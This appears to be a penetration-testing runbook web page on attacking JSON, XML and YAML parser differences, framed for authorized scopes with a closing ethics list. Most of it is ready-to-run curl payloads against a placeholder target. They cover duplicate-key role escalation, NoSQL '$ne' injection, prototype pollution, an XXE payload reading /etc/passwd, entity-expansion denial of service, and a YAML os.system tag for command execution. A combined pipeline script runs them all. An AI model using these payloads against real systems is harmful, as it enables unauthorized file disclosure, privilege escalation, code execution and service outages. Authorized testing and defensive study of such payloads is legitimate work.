Webupdated Oct 1, 2026

JSON, XML & YAML Hacking

Attack parser differences: duplicate keys, type confusion, YAML tags, XML entities, and polyglot documents.

toolbox:jqyqcurlburp suite

A runbook for attacking serialization parser differences in an authorized scope. Goal: find where your input format and the server’s interpretation diverge — duplicate keys, type confusion, entity/object expansion, or a polyglot that validates as one format and executes as another.

1. Map the accepted formats

Determine whether the endpoint accepts JSON, XML, YAML, or several. Content type often switches the parser.

for ct in application/json application/xml text/xml application/yaml application/x-yaml; do
  echo "== $ct"
  curl -s -o /dev/null -w '%{http_code}\n' https://target/api -H "Content-Type: $ct" --data '{"a":1}'
done

2. Duplicate keys and last-wins divergence

Different parsers disagree on which duplicate wins. A validator may see user while the executor sees admin.

curl -s https://target/api/role -H 'Content-Type: application/json' \
  --data '{"role":"user","role":"admin"}'
curl -s https://target/api/role -H 'Content-Type: application/json' --data '{"role":"admin","role":"user"}'

3. Type confusion

Send a value whose type differs from what the validator expects and watch for a behavioral difference.

curl -s https://target/api/profile -H 'Content-Type: application/json' \
  --data '{"age":"1","admin":["true"],"name":{"$ne":null}}'

4. JSON parser edge cases

Probe trailing data, unicode escapes, and prototype pollution keys.

curl -s https://target/api -H 'Content-Type: application/json' --data '{"a":1}extra'
curl -s https://target/api -H 'Content-Type: application/json' --data '{"__proto__":{"isAdmin":true}}'
curl -s https://target/api -H 'Content-Type: application/json' --data '{"constructor":{"prototype":{"polluted":true}}}'

5. XML entities and expansion

If the parser resolves entities, test internal file read and expansion DoS.

cat > xxe.xml <<'EOF'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<r>&x;</r>
EOF
curl -s https://target/api -H 'Content-Type: application/xml' --data-binary @xxe.xml

For expansion, test nested entities cautiously and confirm the parser rejects DTDs.

curl -s -o /dev/null -w '%{http_code} %{time_total}\n' https://target/api \
  -H 'Content-Type: application/xml' \
  --data '<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY a "aaaaaaaaaa"><!ENTITY b "&a;&a;&a;&a;&a;">]><lolz>&b;</lolz>'

6. YAML loader tags

YAML tags can instantiate objects in permissive loaders. Test language-specific tags and validate with a local parser.

printf '!!python/object/apply:os.system ["id"]\n' | yq -o=json -   # see what a parser makes of it
curl -s https://target/api -H 'Content-Type: application/yaml' --data $'!!python/object/apply:os.system ["id"]'
yq eval '.' payload.yaml           # inspect structure
jq '.' <(yq -o=json payload.yaml)  # cross-format view

7. Polyglot documents

Build data valid as more than one format so a validator and executor see different meanings.

# Valid as both a JSON object and (with minor tolerance) YAML/JS
printf '{"a": 1, "b": [1,2,3]}\n' | jq . > /dev/null && echo "json ok"
printf 'a: 1\nb: [1,2,3]\n' | yq -o=json - | jq .

8. Full pipeline (one block)

TARGET=https://target/api
# format negotiation
for ct in application/json application/xml text/xml application/yaml application/x-yaml; do
  echo "== $ct"; curl -s -o /dev/null -w '%{http_code}\n' "$TARGET" -H "Content-Type: $ct" --data '{"a":1}'
done
# duplicate keys + type confusion
curl -s "$TARGET/role" -H 'Content-Type: application/json' --data '{"role":"user","role":"admin"}'
curl -s "$TARGET/profile" -H 'Content-Type: application/json' --data '{"admin":["true"],"name":{"$ne":null}}'
# JSON prototype pollution
curl -s "$TARGET" -H 'Content-Type: application/json' --data '{"__proto__":{"isAdmin":true}}'
# XXE
printf '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>' \
  | curl -s "$TARGET" -H 'Content-Type: application/xml' --data-binary @-
# YAML tags
printf '!!python/object/apply:os.system ["id"]\n' | tee payload.yaml | yq -o=json -
curl -s "$TARGET" -H 'Content-Type: application/yaml' --data-binary @payload.yaml
# polyglot check
printf 'a: 1\nb: [1,2,3]\n' | yq -o=json - | jq . >/dev/null && echo "polyglot parses"

Ethics & legality

  • Only test endpoints in an official scope or with written authorization.
  • Cap expansion/DoS payloads; never take a shared service down.
  • Record the exact bytes and the two different interpretations as evidence.